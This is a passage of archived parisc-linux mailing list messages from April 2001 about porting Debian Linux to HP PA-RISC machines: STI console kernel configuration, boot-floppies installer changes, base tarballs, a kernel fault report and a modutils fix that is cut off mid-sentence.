Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: The new FS of ESIEE Team is ready
Date: Thu, 5 Apr 2001 19:53:07 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD88BF@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620005 17618 80.91.229.3 (22 Nov 2014 01:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:25 +0000 (UTC)
Cc: 'Giacomo Mulas' <gmulas@ca.astro.it>,
	'William Carlsson' <william.carlsson@teligent.se>
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>,
	'Thomas Marteau' <marteaut@esiee.fr>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  5 11:54:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56D91482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Apr 2001 11:54:27 -0600 (MDT)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d52bc6ad623@epirel991.europay.com>;
 Thu, 5 Apr 2001 19:53:56 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <HYKY4RAQ>; Thu, 5 Apr 2001 19:53:23 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10692

Hi Thomas,

I just download the last release of linux palo (date of today) as well as
the last release of the cross-compiler.

I try to build a new kernel with the config file standing on your archive.

But if the resulting kernel is well bootable, it does not allow to work with
the sti console.
(against the kernel you put on your archive which works perfectly with the
sti console)

(Be sure that there's no other difference between two test: I just choose
another kernel with iplboot.)

What is magical option (in .config or elsewhere)?

Thanks in advance for your help.
	Joel

> -----Original Message-----
> From: SOETE Jo=EBl=20
> Sent: Wednesday, March 21, 2001 3:19 PM
> To: 'Thomas Marteau'; parisc-linux@lists.parisc-linux.org
> Cc: Giacomo Mulas; SOETE Jo=EBl; William Carlsson
> Subject: RE: The new FS of ESIEE Team is ready
>=20
>=20
> Hello Thomas,
>=20
> I just finished to install and reboot with your=20
> fs_hd_20010320 on my B180.
>=20
> And I am very happy to see my favorite penguin appearing for=20
> the first time on the STI console works. Nice, great, marvelous, ...=20
>=20
> Also I would like to ask you additional favors: it would be=20
> nice to put on your download site the .config file with the=20
> corresponding cvs date of the kernel (the release of your=20
> cross-compiler could also be helpful for me) so that I can=20
> have a good base for future rebuild or test.
>=20
> Thanks again for your fs and thanks in advance for additional help,
> 	Joel
>=20
> > -----Original Message-----
> > From: Thomas Marteau [mailto:marteaut@esiee.fr]
> > Sent: Tuesday, March 20, 2001 8:08 PM
> > To: parisc-linux@lists.parisc-linux.org
> > Cc: Giacomo Mulas; SOETE Joel; William Carlsson
> > Subject: The new FS of ESIEE Team is ready
> >=20
> >=20
> > Hi all,
> >=20
> > 	The new FS is ready (~61MB). No "more" bugged with the=20
> > good TERM parameter and
> > no password :)
> > It is a specially designed for 712 owners but it is a sane=20
> > fs, we hope.
> >=20
> > Please, go to our DL page: http://mkhppa1.esiee.fr/en/download.html
> >=20
> > Good luck, Thomas
> > ESIEE Team
> >=20
>=20


**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Woody installer for PARISC
Date: Thu, 5 Apr 2001 15:56:05 -0400
Lines: 72
Approved: news@gmane.org
Message-ID: <20010405155605.D8907@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="KN5l+BnMqAQyZLvT"
X-Trace: ger.gmane.org 1416620005 17621 80.91.229.3 (22 Nov 2014 01:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:25 +0000 (UTC)
To: debian-boot@lists.debian.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  5 13:54:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8EA2482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Apr 2001 13:54:53 -0600 (MDT)
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f35Ju5P09844;
	Thu, 5 Apr 2001 15:56:05 -0400
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10693

--KN5l+BnMqAQyZLvT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello everyone,

Here are the changes I've made to the boot-floppies package to support
the PARISC architecture.

Makefile:
Added an entry for hppa support, make root.tar.gz

common.sh:
Small fixes to the functions that came up during debugging

rescue.sh:
- Define the hppa "floppy" type (ext2)
- Use the "write_m68kinfo" for install.sh generation
- Compress the kernel like powerpc/pmac arch

rootdisk.sh:
- Define the C library information for hppa
- Don't do library reduction (this was failing with our binutils)

utilities/dbootstrap/Makefile:
- Change the -DKVER="${KVER}" to -DKVER="${kver}" to reflect the proper
  variable name.

utilities/dbootstrap/bootconfig.c:
- Support for PALO (our bootloader)

utilities/dbootstrap/extract_base.c:
- Change debootstrap cmd line to use file:%s instead of just %s.

utilities/dbootstrap/main_menu.c:
- Remove options that aren't applicable to PARISC.
  (Make boot floppy, PCMCIA, etc..)

utilities/dbootstrap/partition_config.c:
- Add PALO message for partition creation.


There are a few more changes I needed to make to get a working installer
for PARISC, unfortunately some of them are because of limitations in
the current PARISC distribution (kernel.sh was modified to not require
a kernel .deb since we currently don't have one and the constantly
changing kernel makes it unwieldy to build kernel .debs).  As well the
root.bin needs to be larger than 3700K on parisc though I am working
on reducing this number to hopefully fit in that limit.

I will post a diff to boot-floppies shortly.

						- Paul


--KN5l+BnMqAQyZLvT
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6zM3V8ggPQthPCzcRAiIuAKCpoZ4xnRNY3XUvKz4V//EEYfbAMwCdGWlU
dmIKolt//EiGHDGM6WuW9PI=
=qbNz
-----END PGP SIGNATURE-----

--KN5l+BnMqAQyZLvT--




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: New hppa base tarball
Date: Thu, 05 Apr 2001 14:00:14 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20010405200014.A86F138852@carmen.fc.hp.com>
References: <Pine.LNX.4.30.0104051041590.3801-100000@buggz1.buggz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620005 17623 80.91.229.3 (22 Nov 2014 01:33:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:25 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: buggz <buggz@america.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  5 13:57:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22202482A
	for <parisc-linux@parisc-linux.org>; Thu,  5 Apr 2001 13:57:41 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 540E93CA; Thu,  5 Apr 2001 15:57:40 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id A86F138852; Thu,  5 Apr 2001 14:00:14 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from buggz <buggz@america.net> 
   of "Thu, 05 Apr 2001 10:45:06 EDT." <Pine.LNX.4.30.0104051041590.3801-100000@buggz1.buggz.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10694

buggz writes...

> 
> Otay, I d/l'd the baseplus tarball.

I haven't mentioned the baseplus tarball on the list yet but it's just as 
usable as the base one. The difference is that baseplus has been updated from 
the debian archive and also contains a reasonable development environment. I 
plan to roll it again soon and announce it on the list.

> To install this, it says to read the instrutions that says to boot w/ a
> cd.

The instructions also work if you boot from an nfsroot. Instructions on doing 
that at,

http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/02-Feb/0069.html

> I was hoping that these were iso files to make such a cd.

Not yet, but soon hopefully.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gorbunov D.L." <dlynx@mail.ru>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA-RISK Linux
Date: Fri, 6 Apr 2001 09:43:47 +0400
Lines: 85
Approved: news@gmane.org
Message-ID: <001601c0be5c$9af6ad20$0b2aa8c0@dg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0011_01C0BE7E.141D5FC0"
X-Trace: ger.gmane.org 1416620006 17628 80.91.229.3 (22 Nov 2014 01:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:26 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr  5 20:45:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 140EC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Apr 2001 20:45:58 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA06993
	for <parisc-linux@puffin.external.hp.com>; Thu, 5 Apr 2001 20:40:05 -0600
Original-Received: (qmail 9959 invoked by uid 15267); 6 Apr 2001 02:45:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9952 invoked from network); 6 Apr 2001 02:45:51 -0000
Original-Received: from mx5.port.ru (HELO smtp5.port.ru) (194.67.23.40)
  by mailserv2.iuinc.com with SMTP; 6 Apr 2001 02:45:51 -0000
Original-Received: from [212.13.154.150] (helo=dg)
	by smtp5.port.ru with smtp (Exim 3.14 #54)
	id 14lMFR-0005FW-00
	for parisc-linux@thepuffingroup.com; Fri, 06 Apr 2001 06:45:18 +0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Xref: news.gmane.org gmane.linux.ports.parisc:10695

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C0BE7E.141D5FC0
Content-Type: text/plain;
	charset="koi8-r"
Content-Transfer-Encoding: quoted-printable

Dear sirs!
Our office in 1996 buy HP9000(D-class) with hot-swap hdd, but now we =
have some problem with software for this system.
I try to install PA-RISK Linux from bootable CDROM (I get iso-image via =
your FTP-site).
But after some minutes, I see next mesagge - Kernel Faults - code 15, =
regs - c9fe8840 (addr =3D f6632087),
and system stopped.=20
  Could not you suggest, where I can find iso-image bootable CDROM with =
PA-RISK Linux for HP9000 (d-class)?
Best regards,
Gorbunov Dmitry,
National Patent Office
Republic of Kazakhstan
kazpat@nursat.kz(official e-mail)=20
=20

------=_NextPart_000_0011_01C0BE7E.141D5FC0
Content-Type: text/html;
	charset="koi8-r"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dkoi8-r =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 =
HTML//EN">
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2>Dear =
sirs!</FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2>Our office in =
1996 buy=20
HP9000(D-class) with hot-swap hdd, but now we have some problem with =
software=20
for this system.</FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2>I try to install =
<FONT face=3D""=20
size=3D2>PA-RISK Linux from bootable CDROM (I get iso-image via your=20
FTP-site).</FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2><FONT face=3D"" =
size=3D2>But after=20
some minutes, I see next mesagge - <STRONG>Kernel Faults - code 15, regs =
-=20
c9fe8840 (addr =3D f6632087),</STRONG></FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2><FONT face=3D""=20
size=3D2></FONT></FONT><FONT face=3D"Arial Cyr" size=3D2>and system =
stopped.=20
</FONT></DIV>
<DIV><FONT face=3D"Arial Cyr" size=3D2>&nbsp; <FONT color=3D#000000 =
face=3DArial=20
size=3D2>Could not you suggest</FONT>, w<FONT color=3D#000000 =
face=3DArial size=3D2>here=20
I can find </FONT>iso-image bootable CDROM with<FONT size=3D2> PA-RISK =
Linux=20
for</FONT> HP9000 (d-class)?</FONT></DIV>
<DIV><FONT face=3D"Arial Cyr" size=3D2>Best regards,</FONT></DIV>
<DIV><FONT face=3D"Arial Cyr" size=3D2>Gorbunov Dmitry,</FONT></DIV>
<DIV><FONT face=3D"Arial Cyr" size=3D2></FONT><FONT color=3D#000000 =
face=3D"Arial Cyr"=20
size=3D2><FONT face=3D"" size=3D2>National Patent =
Office</FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2><FONT face=3D"" =
size=3D2>Republic=20
of Kazakhstan</FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2><FONT face=3D""=20
size=3D2>kazpat@nursat.kz(official e-mail)&nbsp;</FONT></FONT></DIV>
<DIV><FONT color=3D#000000 face=3D"Arial Cyr" size=3D2><FONT face=3D""=20
size=3D2>&nbsp;</FONT></FONT></DIV></BODY></HTML>

------=_NextPart_000_0011_01C0BE7E.141D5FC0--





From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] RE: The new FS of ESIEE Team is ready
Date: Fri, 6 Apr 2001 09:04:45 +0200
Lines: 449
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD88C1@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620006 17633 80.91.229.3 (22 Nov 2014 01:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:26 +0000 (UTC)
Cc: 'Thomas Marteau' <marteaut@esiee.fr>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'rbradetich@uswest.net'" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 01:06:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A111482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 01:06:59 -0600 (MDT)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d52bf406f02@epirel991.europay.com>;
 Fri, 6 Apr 2001 09:06:29 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <HYKY4SQD>; Fri, 6 Apr 2001 09:06:01 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10696

Hi Ryan,

Thanks a lot but sorry I am sure it need more because it does not work with
STI on my B180 (anyway it is
 operational as I can log on serial console). (And with exactly the same fs
[the 
http://puffin.external.hp.com/pub/parisc/binaries/debian/basetars/baseplus-2
0010404.tar.gz] with the kernel
http://mkhppa1.esiee.fr/archive/vmlinux.gz (dated 08-Mar-2001) it works
fine???)

Here is the config file I used for my last test:

#
# Automatically generated by make menuconfig: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type
#
CONFIG_PA7100=y
CONFIG_PA11=y

#
# General options
#
CONFIG_GSC=y
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_WAX_EISA=y
CONFIG_SUPERIO=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_PCI_NAMES=y
CONFIG_CHASSIS_LCD_LED=y

#
# General setup
#
CONFIG_HOTPLUG=y
CONFIG_NET=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y

#
# Parallel port support
#
CONFIG_PARPORT=y

#
# Block devices
#
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID5=y

#
# Networking options
#
CONFIG_INET=y
CONFIG_IP_PNP=y

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_SG=y

#
# SCSI low-level drivers
#
CONFIG_SCSI_LASI=y
CONFIG_SCSI_ZALON=y
CONFIG_SCSI_SYM53C8XX=y
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20

#
# PCMCIA SCSI adapter support
#
# CONFIG_SCSI_PCMCIA is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_NET_SB1000 is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
CONFIG_NET_PCI=y
CONFIG_TULIP=y

#
# Ethernet (1000 Mbit)
#

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# PCMCIA network device support
#
# CONFIG_NET_PCMCIA is not set

#
# Input core support
#
# CONFIG_INPUT is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
# CONFIG_HIL is not set
CONFIG_SERIAL=y
# CONFIG_SERIAL_CONSOLE is not set
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
# CONFIG_PRINTER is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_JOYSTICK is not set
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set
CONFIG_PCMCIA_SERIAL=y

#
# PCMCIA character device support
#
# CONFIG_PCMCIA_SERIAL_CS is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
...
# CONFIG_JFFS_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
...
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
...
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
...

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
CONFIG_NFS_FS=y
# CONFIG_NFS_V3 is not set
CONFIG_ROOT_NFS=y
# CONFIG_NFSD is not set
# CONFIG_NFSD_V3 is not set
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
...

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
# CONFIG_SMB_NLS is not set
# CONFIG_NLS is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
CONFIG_FB_CYBER2000=y
CONFIG_FB_STI=y
...
CONFIG_FBCON_CFB2=y
CONFIG_FBCON_CFB4=y
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB16=y
CONFIG_FBCON_CFB24=y
CONFIG_FBCON_STI=y
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
# CONFIG_SOUND is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y


Is it helpfull.

Thanks anyway for advise,
	Joel

> -----Original Message-----
> From: Ryan Bradetich [mailto:rbrad@beavis.ybsoft.com]
> Sent: Friday, April 06, 2001 4:09 AM
> To: SOETE Jo?l
> Subject: Re: [parisc-linux] RE: The new FS of ESIEE Team is ready
> 
> 
> The magic you are looking for is:
> 
> CONFIG_SERIAL_CONSOLE=n
> CONFIG_STI_CONSOLE=y
> 
> I believe this should work with both enabled, but currently it 
> doesn't :(
> 
> 
> - Ryan
> 
> On Thu, Apr 05, 2001 at 07:53:07PM +0200, SOETE Jo?l wrote:
> > Hi Thomas,
> > 
> > I just download the last release of linux palo (date of 
> today) as well as
> > the last release of the cross-compiler.
> > 
> > I try to build a new kernel with the config file standing 
> on your archive.
> > 
> > But if the resulting kernel is well bootable, it does not 
> allow to work with
> > the sti console.
> > (against the kernel you put on your archive which works 
> perfectly with the
> > sti console)
> > 
> > (Be sure that there's no other difference between two test: 
> I just choose
> > another kernel with iplboot.)
> > 
> > What is magical option (in .config or elsewhere)?
> > 
> > Thanks in advance for your help.
> > 	Joel
> > 
> > > -----Original Message-----
> > > From: SOETE Jo?l 
> > > Sent: Wednesday, March 21, 2001 3:19 PM
> > > To: 'Thomas Marteau'; parisc-linux@lists.parisc-linux.org
> > > Cc: Giacomo Mulas; SOETE Jo?l; William Carlsson
> > > Subject: RE: The new FS of ESIEE Team is ready
> > > 
> > > 
> > > Hello Thomas,
> > > 
> > > I just finished to install and reboot with your 
> > > fs_hd_20010320 on my B180.
> > > 
> > > And I am very happy to see my favorite penguin appearing for 
> > > the first time on the STI console works. Nice, great, 
> marvelous, ... 
> > > 
> > > Also I would like to ask you additional favors: it would be 
> > > nice to put on your download site the .config file with the 
> > > corresponding cvs date of the kernel (the release of your 
> > > cross-compiler could also be helpful for me) so that I can 
> > > have a good base for future rebuild or test.
> > > 
> > > Thanks again for your fs and thanks in advance for 
> additional help,
> > > 	Joel
> > > 
> > > > -----Original Message-----
> > > > From: Thomas Marteau [mailto:marteaut@esiee.fr]
> > > > Sent: Tuesday, March 20, 2001 8:08 PM
> > > > To: parisc-linux@lists.parisc-linux.org
> > > > Cc: Giacomo Mulas; SOETE Joel; William Carlsson
> > > > Subject: The new FS of ESIEE Team is ready
> > > > 
> > > > 
> > > > Hi all,
> > > > 
> > > > 	The new FS is ready (~61MB). No "more" bugged with the 
> > > > good TERM parameter and
> > > > no password :)
> > > > It is a specially designed for 712 owners but it is a sane 
> > > > fs, we hope.
> > > > 
> > > > Please, go to our DL page: 
> http://mkhppa1.esiee.fr/en/download.html
> > > > 
> > > > Good luck, Thomas
> > > > ESIEE Team
> > > > 
> > > 
> > 
> > 
> > 
> **********************************************************************
> > This e-mail and any attachments to it may contain 
> confidential information which is strictly intended for the 
> use of the authorised recipient.  If you have received this 
> e-mail in error, please delete it and notify the sender by 
> replying to this e-mail.
> > Thank you for your co-operation.
> > 
> **********************************************************************
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> > 
> 


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] modutils fixes
Date: Fri, 6 Apr 2001 12:15:12 +0100
Lines: 138
Approved: news@gmane.org
Message-ID: <20010406121512.T9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620006 17634 80.91.229.3 (22 Nov 2014 01:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:26 +0000 (UTC)
Cc: pjlahaie@linuxcare.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 05:15:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id E38CC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 05:15:52 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 66A79B008; Fri,  6 Apr 2001 12:15:12 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:10697

Hi, this is a diff against modutils 2.4.5 to fix two problems:

1.  On 32 bit kernels modutils used data_start to find the kernels
dp value, but it should have really used $global$.  Didn't used to
matter as they were the same, but not anymore.

2.  On 64 bit kernels modutils uses a different stub to call millicode
